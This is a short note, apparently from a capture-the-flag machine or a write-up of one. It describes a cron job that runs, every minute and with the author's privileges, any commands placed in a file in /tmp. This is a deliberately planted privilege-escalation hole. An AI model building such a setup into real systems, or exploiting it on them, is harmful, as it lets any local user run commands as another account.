Yo EZ,\n\nI made it possible for you to do some automated checks, \nbut I did only allow you access to \/usr\/bin\/* system binaries. I did\nhowever copy a few extra often needed commands to my \nhomedir: chmod, df, cat, echo, ps, grep, egrep so you can use those\nfrom \/home\/admin\/\n\nDon't forget to specify the full path for each binary!\n\nJust put a file called "runthis" in \/tmp\/, each line one command. The \noutput goes to the file "cronresult" in \/tmp\/. It should \nrun every minute with my account privileges.\n\n- Jerry<\/code><\/pre>\n
